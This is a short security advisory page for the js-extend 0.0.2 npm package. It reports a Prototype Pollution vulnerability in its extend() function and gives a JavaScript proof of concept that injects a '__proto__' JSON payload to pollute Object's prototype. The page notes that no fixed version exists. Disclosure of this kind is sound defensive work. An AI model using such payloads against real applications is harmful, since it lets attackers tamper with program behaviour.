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js-extend@0.0.2 vulnerabilities

A simple extend function based on underscore

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Direct Vulnerabilities

Known vulnerabilities in the js-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • M
Prototype Pollution

js-extend is a Simple extend function based on underscore.

Affected versions of this package are vulnerable to Prototype Pollution via the extend() function.

PoC

var jsExtend = require("js-extend")
var obj = {}
var malicious_payload = '{"__proto__":{"polluted":"Yes! Its Polluted"}}';
console.log("Before: " + {}.polluted);
jsExtend.extend({}, JSON.parse(malicious_payload));
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for js-extend.

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